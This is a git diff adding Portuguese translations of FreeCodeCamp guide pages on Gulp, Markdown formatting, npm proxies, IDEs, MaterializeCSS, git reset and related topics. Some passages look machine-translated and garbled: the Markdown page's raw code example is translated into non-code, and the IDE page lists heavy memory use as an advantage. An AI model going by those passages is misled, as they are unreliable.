+## Por que usar Gulp?
+
+Nós usamos muito CodePen no FreeCodeCamp. CodePen permite o uso de pré-processadores sem ter que fazer mais nada. Você pode ver a versão compilada se um pré-processador foi usado. Parece muito diferente. Você pode fazer um projeto no React on CodePen, escolher o Babel como o pré-processador do JavaScript e tudo funcionará. Se você fizesse esse mesmo projeto localmente sem processar tudo, não conseguiria o que esperava. É aqui que entra o Gulp.
+
+## Como faço para usar o Gulp?
+
+Mais uma vez, esta é apenas uma visão geral do básico. A visão geral vai processar Sass para CSS, concatenando e diminuindo folhas de estilo e scripts, e implementando Gulp watch. Você precisa do Node e do NPM instalados no seu computador antes de fazer qualquer coisa. Você provavelmente já tem isso, mas insira o `node -v` e `npm -v` em seu terminal para verificar.
+
+*   Mude para o diretório do projeto e execute `npm init` no terminal.
+    
+    *   Isso cria o arquivo `package.json` no diretório de trabalho.
+        
+    *   Este também seria um bom momento para executar o `touch .gitignore` no terminal e adicionar `node_modules/` no arquivo, assim você não estará empurrando todos esses pacotes para o GitHub.
+        
+*   Execute `npm install --save-dev gulp gulp-concat gulp-minify-css gulp-rename gulp-sass gulp-uglify` no terminal. Isso pode levar alguns minutos para terminar.
+    
+    *   Isso está instalando 6 `node_modules` diferentes. Você pode dar uma olhada no arquivo `package.json` e ver todos esses listados em `devDependencies` e na pasta `node_modules` e ver cada pacote que você instalou.
+        
+    *   `gulp-concat` é para concatenar folhas de estilo e scripts, `gulp-minify-css` é para diminuir o CSS, `gulp-rename` é para renomear o arquivo, `gulp-sass` é para Sass para CSS, e `gulp-uglify` é para diminuir o JS.
+        
+*   Execute o `touch gulpfile.js` no terminal.
+    
+    *   Agora você está pronto para começar.
+*   Você precisará exigir todos os arquivos que acabou de salvar. Você faz isso em `gulpfile.js` .
+    
+
+```javascript
+    'use strict'; 
+ 
+    var gulp = require('gulp'); 
+    var concat = require('gulp-concat'); 
+    var minifyCss = require('gulp-minify-css'); 
+    var rename = require('gulp-rename'); 
+    var sass = require('gulp-sass'); 
+    var uglify = require('gulp-uglify'); 
+```
+
+*   Nós precisamos começar em algum lugar, então Sass para CSS primeiro? Aqui vamos processar Sass para CSS, diminuir o CSS e renomear o arquivo.
+    
+    *   O nome da tarefa `sass` (mais sobre isso depois).
+        
+    *   No diretório atual, estamos procurando por uma pasta chamada `assets` , em seguida, uma pasta chamada `scss` , em seguida, um arquivo chamado `main.scss` .
+        
+    *   Estamos processando o Sass para CSS e registrando se ocorrer um erro.
+        
+    *   O CSS é então reduzido. Isso é apenas livrar-se de todas essas linhas e espaços extras. O computador não precisa deles para ler o arquivo e reduz drasticamente o tamanho do arquivo.
+        
+    *   Como o arquivo agora está reduzido, faz sentido renomeá-lo `.min.css` .
+        
+    *   O último passo é salvar o arquivo `main.min.css` algum lugar e ele está indo no diretório atual para uma pasta chamada `public` , em seguida, uma pasta chamada `css` .
+        
+
+```javascript
+    gulp.task('sass', function() { 
+        return gulp.src('./assets/scss/main.scss') 
+        .pipe(sass().on('error', sass.logError)) 
+        .pipe(minifyCss({compatibility: 'ie8'})) 
+        .pipe(rename('main.min.css')) 
+        .pipe(gulp.dest('./public/css')); 
+    }); 
+```
+
+*   Agora podemos entrar um pouco mais no Gulp e tentar concatenar e diminuir todos os arquivos de script. E se você tiver apenas um script agora, então você não tem nada para concatenar? Talvez se livre de algumas das CDNs que você possui e faça scripts. Mas você chegará a projetos maiores que possuem vários scripts.
+    
+    *   Por favor, note que eu não estou cobrindo mapas de origem. Eu acho que esse é o próximo passo após esta visão geral básica, então olhe para lá depois de entender o que você está fazendo aqui.
+        
+    *   As tarefas atuais são nomeadas `concatScripts` e `minifyScripts` .
+        
+    *   Essa é a mesma estrutura básica do `sass` . Todos os arquivos são adicionados ao `gulp.src` , mas primeiro precisamos salvar esse arquivo concatenado antes que ele seja reduzido.
+        
+    *   A redução do JavaScript é chamada de `uglify` .
+        
+    *   Você percebe `['concatScripts]` após `minifyScripts` ? Isso significa que o `concatScripts` será executado primeiro toda vez que tentarmos executar o `minifyScripts` .
+        
+
+```javascript
+    gulp.task('concatScripts', function() { 
+        return gulp.src([ 
+            './assets/js/script-1.js', 
+            './assets/js/script-2.js', 
+            './assets/js/script-3.js' 
+        ]) 
+        .pipe(concat('app.js')) 
+        .pipe(gulp.dest('./assets/js')); 
+    }); 
+ 
+    gulp.task('minifyScripts', ['concatScripts'], function() { 
+        return gulp.src('assets/js/app.js') 
+        .pipe(uglify()) 
+        .pipe(rename('app.min.js')) 
+        .pipe(gulp.dest('public/app/js')); 
+    }); 
+```
+
+*   Agora você pode ir para o terminal e digitar `gulp sass` e / ou `gulp minifyScripts` . Isso executará cada um deles, mas queremos facilitar para nós. Nós vamos fazer uma compilação padrão, então nós podemos apenas inserir `gulp` no terminal. Nós também vamos adicionar o `gulp watch` , então sempre que você salvar um arquivo listado no relógio, ele executará o que você disse para ele rodar.
+    
+    *   Nós fizemos uma tarefa chamada `build` . Isso é muito parecido com o `minifyScripts` já que existe um array nele. Sempre que entramos no `gulp build` no terminal, ele executa `sass` e `minifyScripts` (que, na verdade, executa `concatScripts` primeiro).
+        
+    *   Também fizemos uma tarefa chamada `watch` . Esta é a tarefa de economia de tempo. No terminal você executa `gulp watch` . Gulp permanecerá aberto no terminal, então você provavelmente desejará executá-lo em outra guia. Sempre que um arquivo é atualizado e salvo na pasta `scss` com uma extensão `.scss` a tarefa `sass` será executada. E a mesma coisa para um arquivo na pasta `js` com uma extensão `.js` , mas `concatScripts` e `minifyScripts` serão executados.
+        
+    *   A última tarefa é `default` . Você pode simplesmente executar `gulp` no terminal e ele executará a tarefa `default` . A tarefa `default` aqui é chamar a tarefa de `build` , que apenas executa todas as tarefas que temos na página.
+        
+
+```javascript
+    gulp.task('build', ['sass', 'minifyScripts']); 
+ 
+    gulp.task('watch', function() { 
+        gulp.watch('./assets/scss/**/*.scss', ['sass']); 
+        gulp.watch('./assets/js/**/*.js', ['minifyScripts']); 
+    }); 
+ 
+    gulp.task('default', ['build']); 
+```
+
+É assim que o seu arquivo `gulpfile.js` final deve ser:
+
+```javascript
+    'use strict'; 
+ 
+    var gulp = require('gulp'); 
+    var concat = require('gulp-concat'); 
+    var minifyCss = require('gulp-minify-css'); 
+    var rename = require('gulp-rename'); 
+    var sass = require('gulp-sass'); 
+    var uglify = require('gulp-uglify'); 
+ 
+    gulp.task('sass', function() { 
+        return gulp.src('./assets/scss/main.scss') 
+        .pipe(sass().on('error', sass.logError)) 
+        .pipe(minifyCss({compatibility: 'ie8'})) 
+        .pipe(rename('main.min.css')) 
+        .pipe(gulp.dest('./public/css')); 
+    }); 
+ 
+    gulp.task('concatScripts', function() { 
+        return gulp.src([ 
+            './assets/js/script-1.js', 
+            './assets/js/script-2.js', 
+            './assets/js/script-3.js' 
+        ]) 
+        .pipe(concat('app.js')) 
+        .pipe(gulp.dest('./assets/js')); 
+    }); 
+ 
+    gulp.task('minifyScripts', ['concatScripts'], function() { 
+        return gulp.src('assets/js/app.js') 
+        .pipe(uglify()) 
+        .pipe(rename('app.min.js')) 
+        .pipe(gulp.dest('public/app/js')); 
+    }); 
+ 
+    gulp.task('build', ['sass', 'minifyScripts']); 
+ 
+    gulp.task('watch', function() { 
+        gulp.watch('./assets/scss/**/*.scss', ['sass']); 
+        gulp.watch('./assets/js/**/*.js', ['minifyScripts']); 
+    }); 
+ 
+    gulp.task('default', ['build']); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/linking-your-account-with-github/index.md b/client/src/guide/portuguese/miscellaneous/linking-your-account-with-github/index.md
new file mode 100644
index 0000000000..43e448835b
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/linking-your-account-with-github/index.md
@@ -0,0 +1,12 @@
+---
+title: Linking Your Account with Github
+localeTitle: Vinculando sua conta ao Github
+---
+Em agosto de 2015, pressionamos algumas mudanças que causaram problemas para muitos de nossos campistas.
+
+Se você não conseguir vincular sua conta do GitHub à sua conta atual, veja o que recomendamos:
+
+1) Saia com sua conta atual e tente entrar com o GitHub.  
+2) Verifique o seu mapa de desafio. Sua conta não deve ter progresso. Exclua essa conta aqui: [http://freecodecamp.com/account](http://freecodecamp.com/account)  
+3) Entre no Free Code Camp da maneira que você normalmente faz (Facebook, email, etc). Você deve ver seu progresso original.  
+3) Agora adicione o GitHub a essa conta e você deve estar pronto.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/links-to-help-with-functional-programming/index.md b/client/src/guide/portuguese/miscellaneous/links-to-help-with-functional-programming/index.md
new file mode 100644
index 0000000000..44088d7bfc
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/links-to-help-with-functional-programming/index.md
@@ -0,0 +1,15 @@
+---
+title: Links to Help with Functional Programming
+localeTitle: Links para Ajuda com Programação Funcional
+---
+Aqui você vai links finos para aprender mais sobre programação funcional.
+
+## Workshops
+
+[https://github.com/timoxley/functional-javascript-workshop](https://github.com/timoxley/functional-javascript-workshop)
+
+Um workshop de pacote de nó. Mais pode ser encontrado na [escola secundária](http://nodeschool.io/)
+
+## Leitura e vídeos
+
+[https://github.com/timoxley/functional-javascript-workshop](https://github.com/timoxley/functional-javascript-workshop)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/make-useful-apis-in-angularjs/index.md b/client/src/guide/portuguese/miscellaneous/make-useful-apis-in-angularjs/index.md
new file mode 100644
index 0000000000..9c54f69758
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/make-useful-apis-in-angularjs/index.md
@@ -0,0 +1,29 @@
+---
+title: Make Useful Apis in Angularjs
+localeTitle: Fazer Apis Úteis em Angularjs
+---
+Há mais duas coisas que você precisa fazer antes que isso seja útil para você. Digamos que você queira mostrar todas as _coisas_ associadas ao nome de usuário solicitado com essa página: você deve primeiro
+
+1.  Tenha um campo "username" ou "owner" em seu esquema de _coisas_ em `/server/api/thing/thing.model.js`
+    
+2.  Escreva uma rota personalizada em `/server/api/thing/index.js` para capturar uma solicitação para um nome de usuário específico. A solicitação do seu frontend pode ser algo como:
+    
+    $ http.get ('/ api / things /' + nome de usuário) .sucesso (…)
+    
+
+então você adicionará uma linha no seu `index.js` como:
+```
+router.get('/:user', controller.indexUser); 
+```
+
+e depois em `thing.controller.js` você vai escrever uma função _exports.indexUser_ assim:
+```
+exports.indexUser = function(req, res) { 
+    Thing.find({owner:req.params.user}, function (err, things) { 
+        if(err) return res.send(500, err); 
+        res.json(200, things); 
+    }); 
+ }; 
+```
+
+Aviso!!! Esse método só funciona corretamente se os nomes de usuários forem absolutamente únicos entre os usuários. O sistema de autenticação padrão que vem com o gerador angular-fullstack não possui nomes de usuário exclusivos, então é melhor você usar o _usuário._ campo id\_ para determinar usuários exclusivos em seu banco de dados por enquanto, a menos que você mesmo queira implementar nomes de usuário exclusivos, alterando seus `/api/user/user.model.js` , `/api/user/user.controller.js` e seu `/app/client/account/signup/signup.controller.js` . Felizmente, você deve saber como fazer tudo isso depois de ler este guia!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/markdown-code-formatting/index.md b/client/src/guide/portuguese/miscellaneous/markdown-code-formatting/index.md
new file mode 100644
index 0000000000..82d60ee496
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/markdown-code-formatting/index.md
@@ -0,0 +1,102 @@
+---
+title: Markdown Code Formatting
+localeTitle: Formatação de código Markdown
+---
+# Formatação de código Markdown
+
+Existem duas maneiras de formatar o código no Markdown. Você pode usar código in-line, colocando backticks em partes de uma linha ou usar um bloco de código, ao qual alguns renderizadores aplicarão a sintaxe.
+
+## Código Inline
+
+Você pode usar formatação de código embutido para enfatizar um pequeno comando ou uma parte da sintaxe dentro de uma linha que você está escrevendo.
+
+Por exemplo, você pode querer mencionar a função `Array.protoype.map()` do Javascript. Usando a formatação de código embutido, é claro que isso é um trecho de código. Você também pode usá-lo para ilustrar um comando do terminal, como a `yarn install` .
+
+Para usar formatação de código embutido, simplesmente coloque o código que você deseja formatar nos backticks. Em um teclado QWERTY de layout padrão dos EUA, isso pode ser encontrado à esquerda de '1' e acima de Tab. Mais informações sobre a localização do backtick em teclados internacionais são fornecidas abaixo.
+
+Por exemplo, escrever \`Array.prototype.map ()\` no markdown será renderizado como `Array.prototype.map()` .
+
+## Blocos de Código
+
+Para escrever trechos de código mais longos ou mais detalhados, geralmente é melhor colocá-los dentro de um bloco de código. Blocos de código permitem que você use várias linhas, e o markdown irá renderizá-lo dentro de sua própria caixa e com a fonte do tipo de código.
+
+Para conseguir isso, inicie o seu bloco com uma linha de três backticks. Isso sinaliza para marcar que você está criando um bloco de código. Você precisará terminar com outra linha de três backticks. Por exemplo:
+
+\`\` \`
+
+var add2 = função (número) {
+
+número de retorno + 2;
+
+}
+
+\`\` \`
+
+irá processar na marcação como:
+```
+var add2 = function(number) { 
+    return number + 2; 
+ } 
+```
+
+Embora não seja suportado nativamente pelo markdown, muitos mecanismos de markdown, incluindo o utilizado pelo GitHub, suportarão o realce de sintaxe. Isso significa que, ao informar sobre a linguagem que estamos usando em nosso bloco, ela adicionará cores como um IDE faria. Você pode fazer isso adicionando o nome do idioma na mesma linha que os três carrapatos de abertura. No exemplo acima, se em vez da primeira linha ser \`\` \`usarmos\` \`\` js, então o destaque será aplicado ao nosso bloco.
+
+```js
+var add2 = function(number) { 
+    return number + 2; 
+ } 
+```
+
+Isso pode ser aplicado a mais do que apenas javascript embora. Eu posso usar o \`\` \`html:
+
+```html
+
+<div class="row"> 
+    <div class="col-md-6 col-md-offset-3"> 
+        <h1>Hello World</h1> 
+    </div> 
+ </div> 
+```
+
+\`\` \`ruby:
+
+```ruby
+"Hello World".split('').each do |letter| 
+    puts letter 
+ end 
+```
+
+ou \`\` \`python:
+
+```python
+a, b = 0, 1 
+ while b < 10: 
+    print(b) 
+    a, b = a, a + b 
+```
+
+além de muitos outros. Mas lembre-se, nem todos os mecanismos de markdown aplicarão realce de sintaxe.
+
+## Typing Backticks
+
+A localização da chave de backtick pode ser diferente em teclados diferentes, e se você não estiver usando um teclado QWERTY de layout americano, pode ser difícil encontrá-lo. [Este](http://superuser.com/a/254077/122424) guia útil lista algumas das maneiras de encontrar sua chave de backtick, que coletamos aqui abaixo.
+
+#### QWERTY e QWERTZ (Chave que foi marcada com borda vermelha)
+
+![QWERTY](//discourse-user-assets.s3.amazonaws.com/optimized/2X/a/a7daf1d707e12e207d47f0eb70ba01d97ffd1924_1_690x327.png)
+
+#### AZERTY France ( Alt Gr + Key que foi marcado com borda vermelha)
+
+![AZERTY](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8f65c339ce4eefd9d79841f3dc54f4c37cab2e77.png)
+
+#### AZERTY Bélgica ( Alt Gr + Key que foi marcada com borda vermelha)
+
+![insira a descrição da imagem aqui](//discourse-user-assets.s3.amazonaws.com/original/2X/d/de291f0895b0fed992726a62d654f4e1f0e421f3.png)
+
+#### QWERTY Estoniano (Chave que foi marcada com borda vermelha)
+
+![Layout de teclado estoniano](//discourse-user-assets.s3.amazonaws.com/optimized/2X/0/089b26510b1dcc7553625ba162582cf55837b6cd_1_690x230.png)
+
+### Código Alt
+
+Finalmente, a chave backtick possui um código alt, que deve funcionar em qualquer keybord. Se você não conseguir encontrar uma tecla de backtick no teclado, poderá segurar a tecla Alt e pressionar 9 e 6 (Alt + 9, 6). Isto irá inserir um backtick.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/materializecss-framework-as-a-an-alternative-to-bootstrap/index.md b/client/src/guide/portuguese/miscellaneous/materializecss-framework-as-a-an-alternative-to-bootstrap/index.md
new file mode 100644
index 0000000000..ed8f84da03
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/materializecss-framework-as-a-an-alternative-to-bootstrap/index.md
@@ -0,0 +1,63 @@
+---
+title: MaterializeCSS Framework as an Alternative to Bootstrap
+localeTitle: MaterializeCSS Framework como uma alternativa para o Bootstrap
+---
+[MaterializeCSS](http://materializecss.com/) é uma estrutura de front-end responsiva moderna baseada nos [princípios de design de material](https://www.google.com/design/spec/material-design/introduction.html) do Google.
+
+## O que é design de material?
+
+Material Design (codinome Quantum Paper) é um sistema de design desenvolvido pelo Google. Expandindo os motivos de "cards" que foram lançados no Google Now, o Material Design faz uso mais liberal de layouts baseados em grade, animações responsivas e transições, preenchimento e efeitos de profundidade, como iluminação e sombras.
+
+Este [vídeo](https://www.youtube.com/watch?v=Q8TXgCzxEnw) dá uma ideia sobre o design do material:
+
+## Confira esses sites que usam Materialize e veja a diferença do que você está acostumado!
+
+Teste-os no seu telefone também para uma melhor sensação.
+
+*   [Os 100](https://www.100xp.io/)
+    
+*   [Temas Admin](http://demo.geekslabs.com/materialize/v2.1/)
+    
+*   [StrapHq](http://www.straphq.com/)
+    
+
+Mais exemplos [aqui](http://materializecss.com/showcase.html)
+
+## Uma alternativa do Bootstrap, realmente?
+
+Chill, nada pode bater Bootstrap, na minha opinião. No entanto, materializar CSS oferece apenas isso, Materialização - A sensação de interagir com a interface como se fosse um material físico, como papel. Eu acabei de chegar com isso.
+
+Mas realmente…
+
+Eu gosto de materializar por causa de sua simplicidade, por exemplo:
+
+No Bootstrap você faria isso para criar um botão
+```
+<button class="btn btn-primary btn-lg"> 
+ My Button 
+ </button> 
+```
+
+Basicamente, cada nome de classe repetidamente tem o btn anexado a ele. E isso é principalmente o caso de muitos outros componentes de bootstrap, especialmente quando você quer adicionar classes simples como cor.
+
+Com Materialize você pode adicionar todas as classes simplesmente assim:
+```
+<button class="btn waves-effect waves-light green">My Button</a> 
+```
+
+Como você pode ver, o uso do btn foi reduzido. A classe `green` pode ser reutilizada com qualquer outro elemento HTML que não seja o `button` mostrado neste caso.
+
+Há uma outra versão mais leve do material Design Framework, mas não é tão elegante ou simples como o framework materializeCSS Além desta simplicidade, aqui estão mais razões pelas quais eu amo materializeCSS:
+
+*   É simples! - Apenas enfatizando
+*   É open-source, você pode git aqui
+*   Uma comunidade também está crescendo em torno disso
+*   [Alguém](http://fezvrasta.github.io/bootstrap-material-design/) está procurando produzir uma mistura de Bootstrap + Materialize. Sweeet!
+
+## Algo mais?
+
+Experimente e talvez você vai adorar. Na verdade, já que até mesmo a interface do Android já está pronta, isso pode ser uma boa maneira de melhorar o design do material para aplicativos da Web voltados para dispositivos móveis, como [aplicativos da Web progressivos](https://developers.google.com/web/fundamentals/getting-started/your-first-progressive-web-app/#what-will-you-learn)
+
+### Talvez você não deva usá-lo ... ainda
+
+Está passando por mudanças sendo no estágio alfa. Então você pode pulá-lo e não usá-lo em projetos cruciais até que ele amadureça.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/mozilla-developer-network-mdn/index.md b/client/src/guide/portuguese/miscellaneous/mozilla-developer-network-mdn/index.md
new file mode 100644
index 0000000000..488f70f1c2
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/mozilla-developer-network-mdn/index.md
@@ -0,0 +1,9 @@
+---
+title: Mozilla Developer Network (MDN)
+localeTitle: Mozilla Developer Network (MDN)
+---
+## Mozilla Developer Network (MDN)
+
+[O MDN](https://developer.mozilla.org/) é uma plataforma de aprendizado para tecnologias da Web e o software que impulsiona a Web.
+
+O objetivo do MDN é fornecer aos desenvolvedores as informações necessárias para criar facilmente projetos na Web aberta. Se é uma tecnologia aberta exposta à Web, o MDN quer documentá-la.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/mozilla-developer-network/index.md b/client/src/guide/portuguese/miscellaneous/mozilla-developer-network/index.md
new file mode 100644
index 0000000000..c4eb4a1de0
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/mozilla-developer-network/index.md
@@ -0,0 +1,14 @@
+---
+title: Mozilla Developer Network (MDN)
+localeTitle: Mozilla Developer Network (MDN)
+---
+! \[MD Web DOcs\] ( https://res.infoq.com/news/2017/06/mdn-web-documentation-update/en/resources/logo-600x154.png "MDN")
+
+O Mozilla Developer Network, também conhecido como MDN, é um recurso gratuito para desenvolvedores em documentações de padrões web como HTML5, CSS, JavaScript, APIs da Web, gráficos (canvas, SVG, WebGL), MathML, Web Assembly etc.
+
+Uma comunidade de desenvolvedores e outros colaboradores mantém o MDN atualizado.
+
+Referências
+
+*   [MDN (oficial)](https://developer.mozilla.org/en-US/)
+*   [MDN (Wikipedia)](https://en.wikipedia.org/wiki/MDN_Web_Docs)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/npm-behind-a-proxy-server/index.md b/client/src/guide/portuguese/miscellaneous/npm-behind-a-proxy-server/index.md
new file mode 100644
index 0000000000..524b892146
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/npm-behind-a-proxy-server/index.md
@@ -0,0 +1,43 @@
+---
+title: Npm Behind a Proxy Server
+localeTitle: NPM por trás de um servidor proxy
+---
+## Casos de uso
+
+Pode ser necessário modificar os comandos de `npm install` que acessam repositórios remotos ( [npmjs](https://www.npmjs.com/) , por exemplo) para instalar os módulos do Nó JS; se o seu acesso à internet é através de um [servidor proxy](https://en.wikipedia.org/wiki/Proxy_server) .
+
+Servidores proxy são comuns em ambientes universitários e comerciais.
+
+Você pode [localizar suas configurações de proxy](http://www.wikihow.com/Change-Proxy-Settings) no painel de [configurações](http://www.wikihow.com/Change-Proxy-Settings) do seu navegador.
+
+## Usando o proxy com NPM
+
+Depois de ter obtido as configurações de proxy (URL do servidor, porta, nome de usuário e senha); você precisa configurar suas configurações `npm` seguinte maneira.
+```
+$ npm config set proxy http://<username>:<password>@<proxy-server-url>:<port> 
+ $ npm config set https-proxy http://<username>:<password>@<proxy-server-url>:<port> 
+```
+
+Você teria que substituir `<username>` , `<password>` , `<proxy-server-url>` , `<port>` com os valores específicos das credenciais do seu servidor proxy.
+
+Esses campos são opcionais. Por exemplo, seu servidor proxy pode nem precisar do `<username>` e `<password>` , ou pode estar em execução na porta 80 (caso em que `<port>` não é necessária).
+
+Depois de definir essas configurações, o `npm install` , o `npm i -g` etc. funcionará corretamente.
+
+## Quando não usar
+
+Você não deve ter que usar os comandos do `npm` com configurações de proxy, caso ocorra uma das seguintes situações:
+
+> *   O administrador do sistema ou a política corporativa não permite que você acesse repositórios `npm` remotos do NPM-JS, por exemplo.
+> *   O repositório remoto dos módulos de nó em questão não está em sua máquina, mas está dentro da rede interna.
+
+## Desativar configurações de proxy
+
+Use [esta](http://luxiyalu.com/how-to-remove-all-npm-proxy-settings/) postagem do blog para remover as configurações de proxy. Você também pode remover manualmente as linhas que especificam suas configurações de proxy do [arquivo](https://docs.npmjs.com/files/npmrc) `.npmrc` .
+
+## Recursos
+
+Você pode usar os seguintes recursos para ler mais sobre isso:
+
+> *   [Posso fazer o login por trás de um servidor proxy](https://github.com/npm/npm/issues/9401#issuecomment-134569585)
+> *   [NPM por trás de um proxy corporativo](http://intenseagile.com/2015/09/04/npm-behind-proxy.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/online-vs-offline-ides/index.md b/client/src/guide/portuguese/miscellaneous/online-vs-offline-ides/index.md
new file mode 100644
index 0000000000..adcd6b585b
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/online-vs-offline-ides/index.md
@@ -0,0 +1,44 @@
+---
+title: Online vs Offline IDEs
+localeTitle: IDEs Online vs Offline
+---
+## IDEs offline
+
+Existem vários **IDE** off-line que os programadores usam para se manterem mais produtivos para aprender e serem mais produtivos no trabalho.
+
+*   [**O Eclipse**](https://www.app5.unisys.com/offerings/ClearPathConnection/eclipse.html) é mais que um editor Java. Suas maiores vantagens são o preenchimento de código pelo método de tabulação, que economiza muito tempo ao gravar a documentação.
+
+Ele possui uma verificação de sintaxe interna para corrigir as palavras digitadas incorretamente enquanto codifica um projeto. Os recursos que esperamos de um IDE são seu preenchimento de código, modelos, integração com vários SCMSs e integração com sistemas de compilação.
+
+As ferramentas de formatação e limpeza de código do IDE são muito poderosas. Eu acho que seu sistema de construção funciona bem e intuitivamente. Eu acho que essas são as coisas sobre as quais sua reputação é realmente construída.
+
+Além disso, possui uma função de refatoração, uma função de localizar e substituir, variáveis ​​e classes de um projeto específico.
+
+*   [**O NetBeans**](https://netbeans.org/features/) é um editor intuitivo gratuito que faz tudo. Ele tem uma ferramenta de design "GUI Swing" simples para construir interfaces de usuário arrastando e soltando componentes, por exemplo, botões ou caixas de texto.
+
+Uma _desvantagem_ é que, com todos os seus recursos, os tempos de carregamento aumentam e mais memória está sendo usada, em comparação com outros IDEs.
+
+*   [**O IntelliJ IDEA**](https://www.jetbrains.com/idea/) é o editor offline mais eficiente, no entanto, não é gratuito. É mais rápido que a maioria dos editores, mas tem vários problemas. Uma das principais vantagens é que ele usa muita memória.
+    
+*   [**O BlueJ**](http://www.bluej.org/) é um editor simples usado principalmente para ensinar programação orientada a objetos e Java. A principal vantagem deste editor comparado lado a lado com outros IDEs é que ele não precisa de um método principal para executar o programa.
+    
+
+## IDEs on-line
+
+*   [**O CodeRun Studio**](http://www.webappers.com/2009/12/04/coderun-studio-free-cross-platform-online-ide/) é um IDE on-line que permite criar aplicativos da web. Ele permite que você execute e teste o código online.
+
+Este IDE permitirá que você o use por um período de teste de 14 dias antes de precisar pagar para continuar a usá-lo. A função "salvar" também é desativada durante o período de teste, dificultando o uso desse programa.
+
+*   [**Cloud9 IDE**](https://c9.io) Cloud9 IDE é um ambiente de desenvolvimento integrado online, versão 3.0 e superior, em código aberto. Ele suporta centenas de linguagens de programação, incluindo PHP, Ruby, Perl, Python, JavaScript com Node.js e Go. Ele permite que os desenvolvedores iniciem a codificação imediatamente com espaços de trabalho predefinidos, colaborem com seus colegas usando recursos de codificação colaborativos e recursos de desenvolvimento da web como visualização ao vivo ("WYSIWYG" ou "O que você vê é o que você obtém") e testes de compatibilidade do navegador.
+
+Ele é escrito quase inteiramente em JavaScript e usa o Node.js no back-end. O componente do editor usa o Ace. A partir de julho de 2014, ele usa contêineres do Docker para seus espaços de trabalho e está hospedado no Google Compute Engine.
+
+Cloud9 IDE, Inc. é a empresa que mantém ativamente o Cloud9 IDE. A empresa possui escritórios em São Francisco e Amsterdã.
+
+## Conclusão
+
+Existem várias diferenças entre os editores on-line e os editores off-line.
+
+Um IDE offline pode ser mais benéfico para um programador do que um IDE online. Não só grandes projetos podem ocupar muita memória causando lentidão na sua máquina. Se você estiver trabalhando em uma equipe, precisará de uma conexão de internet razoavelmente rápida para enviar o código atualizado rapidamente. Se houver uma grande tempestade e sua conexão com a Internet for afetada por ela, isso fará com que seus projetos fiquem inacabados e incompletos se um IDE on-line for usado.
+
+A única vantagem de um IDE on-line é que os projetos podem ser acessados ​​em qualquer lugar, sem necessidade de configurações e configurações. Não há limitação de hardware, pois todas as informações são armazenadas na nuvem.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/openid-connect-implicit-flow/index.md b/client/src/guide/portuguese/miscellaneous/openid-connect-implicit-flow/index.md
new file mode 100644
index 0000000000..b9524cef7e
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/openid-connect-implicit-flow/index.md
@@ -0,0 +1,9 @@
+---
+title: OpenID Connect Implicit Flow
+localeTitle: Fluxo Implícito do OpenID Connect
+---
+## Fluxo Implícito do OpenID Connect
+
+Fornece um mecanismo para que aplicativos baseados em navegador obtenham tokens OAuth para interação com serviços de back-end.
+
+Especificamente ligado a: http://openid.net/specs/openid-connect-implicit-1\_0.html
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/organize-local-group-events/index.md b/client/src/guide/portuguese/miscellaneous/organize-local-group-events/index.md
new file mode 100644
index 0000000000..ccb3623dd2
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/organize-local-group-events/index.md
@@ -0,0 +1,22 @@
+---
+title: Organize Local Group Events
+localeTitle: Organize Eventos de Grupo Local
+---
+Sessões e eventos de programação em grupo são divertidos!
+
+## Este Wiki irá ajudá-lo a organizar um evento de Grupo Local bem-sucedido.
+
+Com um pouco de planejamento e comunicação, ter um evento de grupo local bem-sucedido pode ser fácil! Aqui estão alguns passos para ajudá-lo a fazer isso:
+
+*   Determine o tópico para o evento (código e café, hack session, convide campistas para o evento de outra organização).
+    
+*   Encontre um local adequado. Os eventos do Grupo Local devem sempre ocorrer em um espaço público (biblioteca, café, hackerspace).
+    
+*   Crie um evento na página do Facebook do seu Grupo Local para o evento e crie um link para ele na sua página de Grupo do Facebook do Grupo Local.
+    
+*   Follow-up com lembretes para o evento 1 semana antes do evento e novamente no dia anterior ao evento.
+    
+*   No dia do evento, chegue cedo, prepare-se, cumprimente os membros e dê o pontapé inicial no evento. Não esqueça de agradecer a todos e estender convites para futuros encontros.
+    
+
+**Tente tirar algumas fotos e publicá-las na página do grupo do Facebook do seu Grupo Local.**
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/override-local-files-with-git-pull/index.md b/client/src/guide/portuguese/miscellaneous/override-local-files-with-git-pull/index.md
new file mode 100644
index 0000000000..8ee878b63f
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/override-local-files-with-git-pull/index.md
@@ -0,0 +1,48 @@
+---
+title: Override Local Files with Git Pull
+localeTitle: Substituir arquivos locais com o Git Pull
+---
+# Quando você precisa substituir os arquivos locais?
+
+Se você sentir a necessidade de descartar todas as alterações locais e apenas redefinir / sobrescrever tudo com uma cópia do ramo remoto, siga este guia.
+
+Importante: Se você tiver alguma alteração local, ela será perdida. Com ou sem a opção `--hard` , qualquer commit local que não tenha sido enviado será perdido.  
+Se você tiver algum arquivo que não seja rastreado pelo Git (por exemplo, conteúdo do usuário carregado), esses arquivos não serão afetados.
+
+## O fluxo de trabalho Sobrescrever:
+
+Para sobrescrever seus arquivos locais, faça:
+```
+git fetch --all 
+ git reset --hard <remote>/<branch_name> 
+```
+
